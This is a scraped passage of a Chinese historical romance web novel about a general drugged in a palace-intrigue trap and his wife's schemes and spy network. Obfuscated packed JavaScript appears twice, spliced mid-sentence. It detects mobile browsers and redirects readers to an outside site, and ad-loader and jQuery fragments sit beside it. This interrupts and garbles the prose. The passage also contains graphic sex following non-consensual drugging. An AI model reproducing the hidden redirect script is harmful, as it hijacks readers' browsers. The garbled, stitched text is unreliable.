虽不知李如岳为何突然要害自己,但他几乎已能猜到后头的安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701468|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当下道:“公主莫要胡言,陛下怎么可能让公主做什么平妻?且臣也无意再娶其他妻子,更无意娶公主。今日的话臣只当没有听过,也望公主以后莫要再提。” 说罢,他就往门外走去,可崇宁离门口更近,一看他要走,立刻转身就想把门关上,凌越当然不能让她得逞,迅速上前两步就要格住门扇,却不料门外忽然有家仆先一步将门“砰”一声合上了。 “九渊哥哥!”崇宁趁此机会,一下抱住了他的腰,身上带起一阵香气,对他后面的话仿佛一句也没听到一般,“你别走!父皇会同意的,只要我们、我们做了夫妻,他想不同意也不行了,我、我愿意……” ……果然如此。凌越深吸一口气,用力将她推开,试图和她讲理:“公主既然知道臣是被迫娶叶氏女,那你可知道你父皇为何要如此赐婚?臣这次回京遭遇伏击差点送命,公主可又知到底是谁所为?” 崇宁有些迷茫地看着他:“我、我知道……” 凌越冷声道:“公主既然知道,那你有没有想过你现在能与我同处一室,就是你父皇故意放任?你有没有想过是有人在利用公主设计臣,一旦我们被人发现,你父皇便可治臣一个奸.淫公主之罪?公主的喜欢就是要置臣于死地吗?” 崇宁听得懵了一瞬,可马上却又急切解释:“不会的,我会告诉父皇我是自愿的!而且只要九渊哥哥娶了我就不一样了,我们便是一家人了,父皇就不会再那样猜疑你了!” “……” 凌越放弃讲理了。方才崇宁虽然被他从身上推开了,手却还抓着他的躞蹀带,这时,他便用了巧劲想将她彻底推开,可崇宁也不知哪来的力气,就是死死抓着带子不放。 拉扯之间,凌越只觉得从刚刚就有些闷热的书房更热了,身体里也似陡地升起了一股邪火,迅速蹿遍全身。 忽然察觉到自己某处的变化时,他的动作一滞,咬牙道:“公主给臣下药了?” 崇宁僵了僵,马上又似豁出去了般:“是下了,而且书房的香炉里和我身上还是不一样的媚药,九渊哥哥,没有男子抗得过去的,你别走了,不会有事的……” 凌越气得更加血气上涌,再不顾忌会伤了人,手上使了蛮力一推,崇宁一下被摔出去了两步远,发出一声痛呼,眸中也瞬间痛出泪来。 凌越看也未看她,便要打开门,可一拉之下,发现门居然被从外栓住了! “九渊哥哥……” “砰!” 两声同时响起,崇宁微微张着嘴震惊地看着凌越一脚踢开了门,落在地上的栓子已断成了两截。 凌越跨出门,听到花园过来的方向隐约有嘈杂人声接近,他料想是“捉奸”的人来了,这时他才回头看了崇宁一眼,只见她还倒在地上,泪眼婆娑,衣衫不整……他又低头看看自己。 ——果断往另一边无人声处行去。 提步快速穿过一条无人的廊道,正要从转角处拐过去,不想,那一边骤然也探出半个人影—— “哎呀痛!” “!” 凌越猝然刹住步子,看着面前捂着鼻尖的女人,一刹那,惊疑不定,无数猜测在心中闪过。 到底没有直接将人打晕了,只上前一把捂住她的嘴:“敢叫人别怪我不客气!” 栖循拼命对他使眼色,等修长有力的手终于松开了一点,她立刻低声气急道:“我是来救你的!” 9.观音和解药 “你怎会从那个方向过来?救我又是什么意思?”凌越将人拉到廊柱后,紧盯着她的双眸问。 栖循知道此处依旧危险,随时可能被人发现,所以解释得又轻又快:“将军可知,刚刚有个李府的婢子突然跑进园子大声呼救,说看到崇宁公主被人挟持往书房去了,李如岳便带着府内奴仆护卫和许多宾客一起追了过去。可我觉得不对劲,谁那么傻,会在李府的宴会上挟持公主?” “且公主今日的言行颇为奇怪,我又发现将军不见了,便疑有人要借公主陷害将军,于是偷偷从花园一道隐蔽的小门跑了出来,想着若能碰到将军,便可一起出去。” 说完她又揉了揉生疼的鼻子,凌越的胸膛硬得跟铁板一样,她真担心自己的鼻梁被撞断了。 这番解释与凌越猜想的和刚刚听到的嘈杂人声都合上了,他却仍盯着人:“你怎么会知道李府花园的其他出口?” 栖循回答得毫无迟疑:“自上次京郊伏击后,我总觉得有人要害我和将军,所以这次提前花钱买通了李府的仆婢,问清楚了李府内的格局,尤其是花园的各处布局。” 她的目光明澈坦然,还带着……似乎是自信的东西,凌越与她无声对视着,想要判断出她话中的真实性。 这些乍听合情合理的话,透着说不上来的古怪和巧合,就像上次她出现在通往河东的土路上一样。 是她真的那般聪慧和果决? 还是高贽和李如岳本就做了两手准备,若崇宁能成事最好,高贽便可光明正大将自己拿了,若崇宁没成,便让此女假意帮他,获取他的信任,以图后事? 后者的可能其实非常大不是吗?否则他心底,怎么会隐隐想相信她呢? “那道小门在哪儿?”凌越忽然问。 管她是骗子,还是真想帮自己,她都是他凌越正经娶进门的夫人,最差,也就是得个白日宣淫的名声。 栖循一点不知道他已经想到哪儿了,只听他终于愿意相信自己,便松了口气,立刻转身道:“跟我来!” 她带着人沿原路穿过一条复杂的回廊,绕到了一处闲置院落,又贴着墙根的走过一个穿堂……这一片区域都算是李府的偏僻地方,今日仆婢们又多被调去帮忙赏菊宴,二人一路都没见着人影,极为顺利地到了一片小竹林前。 “那小门就在竹林另一头。”栖循低声解释一句,率先钻了进去,凌越无声地紧跟在她后面,快速往深处走去。 已经能看到另一头明亮的日光了,栖循一脚就要踏出竹林,却倏地被身后的人一把拽回了竹林暗处! 猝不及防的惊呼没来得及出口,又被捂住了嘴,只听凌越在耳边用气声道:“有人来了!” 栖循镇定下来往竹林外望去,这才发现那道被她掩住的小门,刚被从那面推开了,哗啦啦进来一列李府守卫并七八个家仆,随后,其中一个家仆便取出一把铜锁,把那小门锁上了! “歹人带着公主跑不了多远,”一个府卫厉声说道,“分三队,给我仔细往那边搜!” “是!” 那边的是字还未落下,这厢凌越已半挟着人迅速往回撤了。 一路又疾行回那闲置的院子时,栖循实在跑不动了,两人靠在一处角落暂歇—— 喘了片刻后,栖循突然小声道:“将军,我想到一个问题。” “听刚刚那人的意思,崇宁公主应该是真的不见了,而现在你又和我在一起,那我们其实,是不是可以不用跑?” 本来跑是怕崇宁乱说话,指认凌越对她不轨,再加上有李府仆婢证明书房里就他二人,即使没有抓个现成,不能马上定死凌越的罪名,高贽也可以借此慢慢将凌越拖入泥潭。 可现在,崇宁不见了,凌越却和自己的夫人在一起,似乎勉强也可以解释得通了?他们光明正大出去不就行了?还跑什么? 凌越:“……” 他深深喘了口气。 他当然明白叶栖循的意思,自己若没有中药,也当然可以出去,可问题是现在……两种春药混在一起,即使是他,也快到极限了。 若就这般样子出去,不说丢不丢大将军的脸,要是叶栖循真是高贽的人,那么到时候只要崇宁出现,她和崇宁两口一词,只怕他是无论如何都说不清了。 栖循等了须臾,没听到凌越的回答,不由想转身去看他表情,可刚一动—— “哈……别乱动。” 不用他说,栖循已经僵得和木头一样了…… 方才她提着曳地裙跑不快,凌越是半抱半拽着她跑的,因此此刻她仍是半个身子压在他身上。刚停下来时只顾着喘气没注意,这会儿一动才…… 凌越又在她耳后沉沉喘了两口气,低声嘲弄道:“呵,现在明白崇宁为什么不见了?” 栖循被他灼热的气息烫得颤了颤:“……她也在找你,好继续呃……彻底坐实这事?” 这是怎么样的执念和意志……他这样好像也确实没法出去见人了…… 栖循内心一时乱糟糟地想着,又一动也不敢动地低声问:“那……现在要怎么办?” 凌越原本清醇的嗓音愈发暗哑:“想办法找地方躲一躲。”实在不行,就只能和她当众演一场夫妻恩爱被人撞破的戏了。 他没把后半句说出来,只拽住了人:“有人来了,走!” 两人再次绕回那回廊后,发现各处都有府卫仆婢在搜寻,一时也顾不上方位了,哪里没人往哪里走,将将避着。 没多久,被逼进了一处开阔的院落,栖循正晕头转向地被拉着沿院里的一排厢房往前跑,凌越蓦地停了下来,她差点往前扑倒,又被揽住了。 “那边也过来人了。”凌越不等她问就拧紧眉道,神色似是下定了什么决心,伸手往后一推。 栖循猝然被他拉进了身后的房间里,门又被迅速合上了。 不用多说,二人立刻回身察看,发现这是间里外二室的佛堂,凌越只看了外间一眼,几步迈进里间,这时外面已响起了杂乱的脚步声和说话声,接着是两边的厢房门被打开的声音。 搜过来了! 栖循正绝望地想着那弥勒佛龛下能不能勉强躲两个人,凌越忽从里间出来了,她只觉脚下一空,一阵风般,人竟已被抱到了里间的横梁上! “你搜里面!” 栖循被凌越抱在怀里,一面为横梁的承重心惊胆战,一面就听外面门嘎吱一声被推开,而后随着说话声,一个府卫从外间走进里间,先往四下看了一圈,又走入几步,弯腰查看观音像香案底下,再然后就要抬头—— 就在这时,栖循感觉身后的凌越微微一动,窗外突然连续响起两声像是石子落地的声音。 “那边有动静!”窗外仿佛呼应般响起了喊声,屋中的府卫也听见了,立刻转身,往外追了出去。 等外面的门又被砰一声关上,凌越才抱着人下了地,而后迅速将旁边开了一条缝的窗合上了。 栖循也无心探究他是什么时候开的窗,又扔的什么东西了,紧绷的弦微松,小声问:“我们这算躲过去了?” “暂时应当安全了。”凌越回过头来。 “……” 四目相对,外面的嘈杂声突然像都消失了。 似乎所有的触感,都一下格外清晰起来。 两人都没有说话。 凌越就这样搂着她,微低着头,也没有再动,浓酽的墨眸沉沉看着胸膛里的人。 栖循手还抓着他有力的臂膀,清清楚楚地感觉到洒在额上的气息比刚刚更加滚烫灼人了,她紧张地颤了颤长睫,觉得自己好像落入了一头危险强健的豹子爪下,一动,就会被它扑上来,连人带骨,拆吃入腹。 “你可愿意?”凌越忽然开口,声音又低又哑。 栖循微微睁大了眼,脸慢慢涨红,心里一时又气又羞——一直硌着她的东西都这样了,她不愿意,他难道还能不做吗?! 非得、非得她说出来吗? 凌越见她一双翦水秋瞳委屈似的瞪着自己,没有回答,剑眉轻轻蹙了蹙,又想起了她之前的拒绝。 他深吸口气,忍着勃发的欲.望,蓦地把她推到香案边,而后将人转了个身。 “你、你做什么……”栖循被弄得有些慌张。 话音未落,绣罗纱裙和内里的丝绸衬裙已全都被推了起来,如云般堆到了腰间,身后的人覆上来,滚荡的胸膛隔着薄薄的衣物贴上她的脊背。 “并紧腿。”凌越哑声道。 身后窸窣响动,随即腿心滑进来什么东西,又烫又……栖循反应过来那是什么,全身一紧,脸上的绯红更甚。 这样简直、简直比直接……还让人羞耻! 他是什么意思? “放心,不会进去。”凌越又在她耳边喘息着道。 “……” 栖循明白过来了,一下咬紧了唇,这人…… 还没想到这人到底什么,她蓦地双手抓紧了香案的边缘,惊慌地轻呼一声,香案被撞得晃动起来。 凌越扣着她的腰已动作起来,案脚与地面磕碰,发出咯吱咯吱的声音,声音愈来愈快,愈来愈激烈…… 说不清楚是什么样的感觉,栖循直被撞得一下下往前,呼吸急促,胸脯起伏,抬眼却见那洒水观音像正慈眉善目地看着自己,她心里一下涌上一阵更强烈的羞耻,自暴自弃地闭上了眼,双手更用力地抓着香案的折角。 可一闭上眼,所有的感觉仿佛更敏锐了,娇嫩敏感的大腿内侧被摩擦着,仿佛能清晰地感受到那骇人的形状,甚至是那上面筋脉的跳跃。身后男人的气息还是清冽的,可俯在耳边的喘息声却又沉又烫,带起一阵阵酥麻,栖循只觉得那酥麻从耳朵尖一直传到了胸口。 好像过去了没一会儿,又好像过去了好一会儿,她忽然觉得难受起来,不知是胸口还是……哪里,也不知道为什么,又酸又涨,又酸又涨,腿心的东西还要拼命往上挤—— “凌越……” 栖循终于受不了了,竟直接叫了他的名,声音里带着自己都没意识到的颤抖和软腻,凌越动作一顿,随即有力的臂膀却将她更紧地贴向自己。 “凌越……”栖循要哭了,又唤了一声,可这次刚唤完,却忽听外间的门“吱呀”一声,好似又被推开了?那些人又搜回来了?她一下忘了自己想说的话,全身都惊得绷紧了。 “嗯……”凌越猝不及防,低低闷哼了一声,克制着用气声道,“别夹那么紧。” 栖循哪里还能听他的,此时的注意力全都放到了外间的动静上,门又轻响了一下,是重新被关上了,似乎有两个人的脚步声。她紧张地听着那脚步声朝屋里走了几步,然后停下了,传来了刻意压低的急切说话声—— “到处都找不到九渊哥哥,那药下得如此之重,他能去哪儿?” 崇宁?! 里面的两个人都是一震,怎么会这么巧?崇宁怎么会跑这里来? 尚在惊讶,外面另一个显然上了年纪的女人声音已低低接了话:“那么多搜寻的府卫和仆婢都找不到人,今日之事定是成不了了。” “那怎么办?”崇宁的声音更急了,“这事若不成,我们还要怎么借机离开京城?” 借机离开京城?崇宁是为了离开京城才做下今天的事? 栖循没想到竟会是这样,不由侧头看了凌越一眼,凌越微皱着眉,显是也完全没想到。 可就在四目再次相对时,凌越突然动了动,栖循一下不可置信地又睁大了眼,感觉到那硬炙再次折磨起她来,只是凌越顾忌着外面,不再像刚刚那般激烈。 一时间,她的思绪好像被分裂成了两半,一半还在听着外面的对话,另一半却被强迫感受着那处的摩擦,她用力咬住了唇…… “公主别急,此计不成,主人也还有其他法子帮您。” “真的?那要等多久?” “最迟不过圣寿节后一月。” “圣寿节后一月……那、那绝对不能比这更迟,否则就来不及了!” 什么来不及了?崇宁究竟为什么这么急着离开京城?主人又是谁? 栖循努力忽视腿心那物的触感,试图分析外面两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他感觉到怀里人的僵硬和紧张,也感觉到她在缠着自己,他强忍着没动,极力克制着彻底闯进去占有她的冲动,心里明白那只是她身体本能的反应。 若不是心甘情愿给他…… 佛堂外明亮的光线透过窗棂纸投射进来,凌越微微狭了狭眸,看到那截在湖边招人眼的白腻颈子,此时因她扬起下颌,绷出了更优美的线条。 他看了片刻,忽而侧了头,双唇覆上去,从她雪白的下巴一路往下吮.吻,怀里的人震了震,倏忽间,凌越想起元乐言痴痴迷恋她的模样,眸中更暗,一手移上去,身下却退了退,又开始重重动作,而后吮到她最娇嫩的地方,齿关打开—— “放心吧,公主,我们只是想接你出去,不会害任何人的。此地不宜久留,我们得尽快回去。” “好,那要怎么回去?他们问起来,我又该如何回答?” “公主就按老身教的来说……” 栖循胸脯剧烈起伏,高高扬起脖子,眸中瞬间蒙上了一层水雾,微张着口,却发不出一点声音。 被凌越咬住颈侧那一刹,两簇花蕊同时被药杵指腹无情重碾,那酸涨难言的感觉伴着疼痛终于被顶破了,堆叠了许久的浪潮终于攀上最高峰,而后,被推涨至全身的每一处角落…… “公主可记住了?” “嗯。” “那便走吧,小心……” 外间脚步匆匆,又响起“吱呀”一声,崇宁和那老妇出去了。 凌越感受着那甘霖突然而至的湿润温暖,等外面的脚步声远去,便再也无所克制,反握住她的手,将人强硬地按在香案上,于绞紧间如狂风骤雨,肆意逞凶。 “凌越……”含着泣音的唤声,片刻便被撞碎…… 不知过了多久、多久之后,栖循软着身子被凌越抱着坐进了墙边的圈椅里,屋子里的交错喘息声终于渐渐消下去。 她呆呆地望了一会儿不远处的观音,某种似麝非麝的味道与观音前的敬香混在一起,还萦绕在鼻间,那种难以置信的感觉也还萦绕在胸口,她从不知道,这种事只需要这样,竟然就能…… 栖循蓦地动了动,将乱七八糟的念头甩出脑海,不自在地低声问道:“什么时辰了?” 凌越默默松开手臂,放她虚虚落回地面,自己也站了起来,又粗略估了估刚才的时间:“大约申时初吧。” 他的声音清沉中仍带着些沙哑。 话音落后,两人莫名地都没有说话,房里忽然尴尬起来。 栖循低头整理自己的衣裙,发现裙子被弄皱了些,好在不算太明显,可以解释得过去,她又理了理发鬓,重新插好花簪,便率先往外间走去,确定外边没人后,就打开了门,然后又呆了呆。 “怎么?”凌越亦整理了一番,将里间的窗略微打开了些,跟了出来。 栖循顿了顿,指了指外面的天色:“这是申时初吗,将军?” 凌越:…… 在问出口时,他就发现不对了…… 栖循深吸口气,就觉得他那两次一次比一次时间长,根本不像只过了半个多时辰!什么申时初,分明都要申时末了!快整整两个时辰,怪不得她觉得自己的腿根还有……都要被他磨破了! 想到刚刚求他快些结束,他也不听,栖循只觉得一阵气恼,气恼中又莫名带着羞耻,她跨出门去,自己也没察觉话中的一丝娇嗔:“这下好了,我们消失这么久,肯定叫人起疑了,将军可想好怎么解释了?” 凌越俊美的脸上神色有些微妙,一是真没觉得自己居然弄了那么久,二是刚做完那等亲密事,身上还有她的味道,身魂都还没彻底从她带给自己的极致快乐里出来,似乎连想一想对她的怀疑,都有种负心汉的感觉。 他对美人计的妙处突然有了更深的领悟和体会。 他也跨出门去:“夫人不必担心,我自有应对。” “什么应对,你——”栖循话没说完就忽然惊呼一声,人又被他打横抱了起来,“你又做什么!” 凌越抱稳了人,默了默,才道:“袍子被夫人弄湿了,用夫人挡一挡。” “……” 栖循的脸霎时比方才行事时还烫了起来,羞得呼哧呼哧喘了会儿气,还是没能找到词儿。 凌越垂眸看了一眼,唇角没忍住勾了勾,补充道:“一会儿就说夫人身体不适,我带你找了静僻处休息,反正,” “夫人不是最擅装病么?” 10.慢慢来 栖循大略记得李府的布局,凌越便跟着她的指引,绕开了书房,从其他路往大花园回去。 走出那佛堂所在的院子一段后,他不再避着人,很快有仆婢发现了他们。 “前面来人了。”过了一会儿,在一处抄手游廊上,凌越低声道。 栖循自然明白他的意思,默默用力在自己腿上拧了一把,痛得脸色微白,然后双臂搂紧凌越的脖子,头也靠进他颈侧,贴着他锋锐的下颌线,一副娇弱无力的模样。 凌越呼吸微滞了滞,脚下却未停顿,稳稳抱着她转过了游廊拐角,果然迎面而来一行人—— 当先并行一略显清瘦的中年文人和一风韵犹存的妇人,正是李如岳和他夫人甄氏,后面还跟着十来个锦衣华裙的公子贵女及一溜家仆婢子,其中就有周砚和刘安礼姐弟。 看见二人这般姿态,对面那一大群子人脸上的神色,显然比凌越刚刚更加微妙…… “哎呀,真是凌将军!”李如岳先作出了反应,迎上两步,很如释重负的样子,“方才婢子来报,说见到将军了,我们还不敢信呢。二位这是去哪儿了,我家中护卫和仆婢将整个府邸找了一遍,怎的都没看着?” 凌越挑了挑眉,与他心照不宣地唱戏道:“这事倒是我要与令公赔礼了,先前与令公相谈甚欢后,我又去花园外的小亭子里和循儿说话。不想她身子突然不适,我便找了个僻静处带她休息,当时只顾惦记着她,听到人声也特意避开了,却是忘了着人告诉令公一声,我的错。” “原是如此,”李如岳摆摆手笑起来,“说什么赔礼,将军就言重了,只是将军和叶娘子离开这么久,咱们总是有些担心。叶娘子现下可好些了?府中亦有大夫,可为你……” “多谢令公好意,”栖循一听,忙捏着虚弱的嗓音打断他,头也微微侧向那边,露出半张略显苍白的脸,“只是多年旧疾,我自个儿知道的,回去吃几贴药便好,叫诸位见笑了。” 她这么说了,一旁的甄氏便顺势接了话:“如此,那我们就不瞎帮忙了。” 又含笑道,“将军和叶娘子果然是小别胜新婚,竟是出门也舍不得分开,要不是方才听刘娘子说了,我们还不知道两位是早就约好的呢。” 这话说完,一旁刘安礼的阿姊看了看栖循,先掩嘴笑了。 原来,栖循去找凌越前,故意暗示了刘娘子,她和凌越新婚情浓,离不得一时,约定了二人要在赏菊宴中单独相见。 没想到她这临时准备的一招,真用上了。 但刘娘子不知实情,李如岳甄氏夫妇却必定知道他俩那么长时间,是干什么“好事”去了,栖循被甄氏这么意有所指的一说,脸上又有烧起来的苗头,连忙故作娇羞,又将脸藏进凌越颈项间。 凌越顶着一群人揶揄的目光,却是脸不红心不跳,笑了笑道:“怪我,是我定要循儿出来见我的。” 话头一转,又问,“对了,令公既然知道我们事先有约,怎地还兴师动众找我们?” 这又是双方心知肚明的事,李如岳道:“将军误会了,搜府其实是因崇宁公主无意中在府内遇到了飞贼,那飞贼大约知道今日仆婢多被调去花园中,因此想趁机偷盗,倒是害公主受了惊,已提前回宫了。” “原来如此,”凌越恍然,随即又笑言,“既如此,我恐怕也得带循儿先行回府用药了,一会儿的夜宴只能错过了,还望令公见谅。” “当然当然,叶娘子身体要紧!”李如岳配合道。 说罢,立刻吩咐身旁家仆去通知将军府的护卫和车夫,其他人则趁此又假意关心了二人几句。 …… 半盏茶后,凌越抱着人进了自家的马车。 因锦袍上水迹未干,没有骑马,留在了车内,掀帘对外面的长右道了声“回府”。 等马车辚辚走了起来,栖循坐在车茵上,长出了一口气——这一日总算安全过去了。 她瞅了瞅身边的人,当然眼神只飘在他上半身,问道:“今日之事,将军怎么看?” 马车宽敞,但二人挨得很近,凌越侧首看了她一眼,亦想到今天这一日的“共患难”。他抬手理了理袖口,不紧不慢地答: “一开始自然也和夫人想得一般,有人要借崇宁陷害我,不过,后来听了崇宁和那老媪一番话,似乎就是李如岳夫妇为了帮崇宁离宫设的一箭双雕之计罢了。” “甄氏和崇宁的母亲甄贵妃本是同宗,甄贵妃去世后,甄氏常进宫看望崇宁和六皇子姐弟,颇有感情,愿意帮崇宁也在情理之中。若此计成了,甄家大约就会以公主受了玷污,身心受损之类,请求带公主回甄氏族地休养,而李如岳还能顺便帮陛下陷我于囹圄,届时,当然更会被重用,说不准恩宠就超过杨相公了。” 这一番看似有模有样的分析说完,把栖循听笑了,是不是该高兴,至少凌越现在愿意跟自己瞎扯这么多? 不过,本也没指望经这一事,凌越便相信了自己,她想了想,又追问:“若是这样,那么再请问将军,崇宁好端端地为何要离京呢?而且为何还那么着急?离圣寿节可没多久了。还有,那老媪提到的‘主人’又是怎么回事?” 问完却只停顿片刻,不等凌越回答,就自顾自分析起来, “依我看,崇宁想离京的原因虽一时无从猜测,但从老媪的口吻来推测,她提到的‘主人’必定不是李如岳。若‘主人’是李如岳,一是按当时的情况,老媪直接称他老爷或者令公就是了,怎么会奇奇怪怪地叫什么‘主人’?二是那样的话,崇宁直接找李如岳或甄氏去问还有什么计策就行了,怎么会紧着个老妇问这些?” “所以,李如岳背后定然还有人指使,他只是听从这个‘主人’的命令,配合崇宁而已,而且从老媪刻意糊弄崇宁的话来看,这个‘主人’的首要目的,就是要陷将军于死地!” 凌越墨眸目泽微深,听出她似乎有意要在自己面前显露更多,便顺着她问:“哦?那么夫人认为这个‘主人’是谁呢?” 栖循想起赴宴前对李如岳和高贽杨穆二人同流合污的猜想,好整以暇道:“第一个可能自然还是咱们的皇帝陛下了,他不知怎么得知了崇宁有离京的想法,便利用甄氏和崇宁的特殊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 信任,让李甄夫妇引诱崇宁自愿入套。” “可这有一点说不通,崇宁到底是在宫闱内长大的,没那么单纯,她不太可能在不明确‘主人’身份的情况下这么做,而她既然要想办法离京,这个‘主人’也就决不可能是她父皇。” “因此我更倾向于‘主人’另有他人,而且这人胆子大得很,也聪明得很,”栖循蓦地转头,认真看着凌越的眼睛,“他在利用皇帝,借刀杀人。” 凌越挑眉回视着她:“你的意思是,高贽猜忌敏感,李如岳不敢在他眼皮底下自作主张这般设计,所以他应当是假意向高贽献此策,让高贽以为自己就是他的‘主人’,实际却成了他‘主人’借的刀?” 栖循嗯哼一声:“怎么,将军不同意吗?” 凌越却只笑了笑,不答反问:“那么夫人认为这‘主人’到底是谁呢?” 栖循也牵唇一笑,自信道:“这京城里是找不到有这么大能耐、能让尚书令冒这么大风险的人了,此人必在京城之外,而京城之外,势力虽多,但既和高贽一样想要将军的命,又有实力插手京城这池浑水的,有且只有两人——” “一是掌着关内十二州军政的郧国公徐光庭,二,是坐镇江南的祁王谢云昭。” “而以眼前的线索来看,谢云昭与此事扯不上关系,但甄氏的族地却正好在两年前被划入了徐光庭辖下,所以‘主人’最大的可能是徐光庭,是么?” 凌越接着她的话说完,却忽然觉察到,她其实是在故意向自己展现她的才识和能力?或许还要加上实力?比如两天时间便得到了偌大李府的布局图。 似乎更有意思了。 “我现在倒是更好奇,夫人过去几年一直养病闺中,是如何对天下形势这般清楚的?” 栖循眸光微动,知道凌越已看出自己用意了——她要的可不仅仅是他相信自己的立场。 不过,现在还不到坦诚的时候,她转过头轻哼了一声:“我刚刚才在李府帮了将军,又毫无保留地给将军分析了这么多,将军怎地还在怀疑我?” 凌越尾音微扬:“夫人觉得自己不值得怀疑?” “我只知道我本来在闺阁内安安生生的,嫁给将军后却是危机四伏,先是陛下,现在又来个什么‘主人’,不知哪天就把命丢了,每天活得战战兢兢,”栖循斜他一眼,“某些人不觉得愧疚也就罢了,瞧瞧现在,呵。” 凌越从那声不咸不淡的“呵”中,莫名听出了娇嗔,一时觉得有些好笑,若她是做戏,那还真是做得很到位。 默了须臾,他淡淡道:“夫人放心,只要你心中无鬼,确无阴害之意,我自会保你和叶氏一族平安。” “那就希望将军说到做到了。”栖循眉梢轻扬了扬,忽然又道,“乏了,借将军枕一枕。” 说完,径自歪头,往他结实肩膀一靠,闭上了眼。 恰此时,马车驶入了热闹的街市,熙熙攘攘的人流声传进车来。 凌越感受着肩头微微热意和浅淡香气,恍惚间,第一次有了自己已娶妻成家的真实感,不禁自嘲地扯了扯唇角。 11.出事 这日回府,栖循好生泡了许久的药浴,又休息了两日,才觉行动间完全无异了。 期间自是在府内处理了不少事,到第三日,她便立刻找了个由头,又带着如棠如葵出了府。 刚跨出府门,却不见以前出门随行的那些普通家丁了,只有长右带着几个护卫等在外边。 栖循脚下顿了顿,走过长右身边时,似笑非笑道:“怎么,你现在成将军派给我的专属亲卫了?” 长右从这话里听出了几分凉嗖嗖的意味,再想到前几日从夫人手里领的大笔赏钱,还有点心虚,忙小心翼翼地答:“是,夫人,将军说近日连累夫人两次受惊,以后夫人您出行,都由属下护卫安全。” “还真是有心了。”有心派亲卫盯着她,却绝不会主动来找她呢,明明知道自己被他害得两天没出房门。 栖循腹诽着,提裙踩上了轿凳,又问了句,“将军今日去哪儿了?” 长右忙不迭答:“回夫人,上次在京郊损失了三十几个精锐弟兄,将军今日往西山军营选锋补缺去了。” 选锋…… 栖循坐进马车里,想起兵法里说的:将不能料敌,以少合众,以弱击强,兵无选锋,曰北。 早就听闻过选锋的重要性,战场上虽常是几万乃至数十万大军的对阵,但最后决定胜利的却往往是一两千人的选锋军。一个其他能力再强的将军,若不会选精锐之最,不能用好选锋军,永远只能是二流的将领。 而凌越便是极善选锋的,他的玄甲军就是当世最好的选锋军,所以上次以五百人对四五倍于己的敌人,才能只折损三十多人。 若有机会,她还真是想亲眼见识一下呢,看看他究竟是如何选人的,也想看看他带着留在北境的一千玄甲军和这五百人所向披靡的样子…… 马车行了一阵后,缓缓停在了城中一家有名的香粉铺前。 栖循扶着如棠如葵下了车,对长右道:“铺子里都是女客,你们就在外边候着,莫要惊吓了她人。” 长右不疑有他,立刻应了。 等进了铺子,柜上的一见栖循,马上迎了上来,低声道:“夫人,都已安排妥当。” 栖循点点头,跟着他进了一间接待贵客的阁子内,又吩咐如棠留下,自己带着如葵穿过阁子的暗门,从香粉铺的后门出去,上了另一辆早就等着的简朴马车。 也不过穿过两个巷子,马车又停在了玉露楼的后门。 玉露楼乃是京城最大的三家妓院之一,大白天的,楼里还算安静。 栖循踏上了三楼的廊道,隔着帷帽轻纱往下望去,只偶尔见几个姑娘睡眼惺忪地从楼下经过。没了厚厚的胭脂水粉掩盖,这些女子的脸色多不太好看,眼下都泛着些青黑。 除了这间妓院,她还有一家男风馆,那些小倌脸上,也是这般在醉生梦死中损耗过度不知日月的模样。 其实这档皮肉买卖她本是不想做的,可眼下这时局,她太需要随时掌握各种风吹草动,风月之地是必不可少的消息来源。 况且当初买下这两家妓馆时,她也确实没有更好的办法安置这么多人,如今外头几乎无处谋生,若放了他们,这些人多数也只能投到其他妓院,甚至沦为更悲惨的暗娼。 在她手里,至少不会被老鸨盘剥压迫,有病也能及时医治。 但她现在能做的,也不过这些了。 要真正改变这一切,只有等这烂到根的世道彻底翻覆了,天命之人安定山河,重回治世…… 栖循蓦地转回了视线,她已快走到廊道的尽头了。 恰巧这时,尽头那间房的房门突然被打开了,一个粉黛未施亦娇艳动人的女子站到了门边,笑盈盈地望过来:“好久没见夫人,今日总算有时间过来了?” 栖循看见她,亦弯了眉眼,这便是玉露楼的花魁池月,极善音律,四年前被她机缘巧合救下后,带回了京城。 “我如今可是成了亲的人,行事哪还有以前那么便宜呢?”栖循戏言了一句,随她进了门,又问,“钱妈妈呢?” “钱妈妈临时去处理楼里的事了,马上就回。”池月笑着将人引到桌边坐下,又为她倒了盏茶水。 栖循便嗯了声:“我今日这一趟真是被人看着的,不能耽搁太久。你先与我说说,这两天可有打探到什么崇宁公主的消息?” 池月听她这般直入正题,便也收了谈笑的样子,详细回道:“说来也巧,夫人前天派人交代了公主的事后,第二日杨相公家的大公子杨景达就来了楼里,且还就是和李令公家的二公子一起来的,可是二人全程也没提到公主一句。” “我怕引起他们疑心,也没敢直接提那赏菊宴,只引着他们谈些宫闱中事,旁敲侧击,却始终也没听到什么有用的。我瞧着,倒像是他们有意避着谈到崇宁公主呢。” “杨景达和李二公子……”栖循端起茶盏抿了一小口,思索起来。 看来先前,李如岳应是故意通过杨珪杨相公向高贽献计,让出首功,以免杨珪因争圣宠给他使绊子;事后再做戏做全套,让自己儿子与杨珪的儿子混到一起。 这么一来,高贽不仅不会怀疑他,还会把他也当成自己的“忠臣”。而她和凌越若非误打误撞听到崇宁和老媪的那番对话,也只会以为是高贽授意此计,根本不会想到其他人。 如此缜密的心思和安排,不知究竟是出自李如岳自己,还是他背后真正的主子? 池月在旁看着她若有所思的样子,愈发好奇了:“夫人,到底为何突然要我们打探崇宁公主的事?” “她想离开京城,而且很急,所以我想弄清楚这其中的原因。”栖循回过神,却只回答了一半,没提凌越的事,转而便关心道,“那杨景达禽兽不如,没对你做什么吧?” 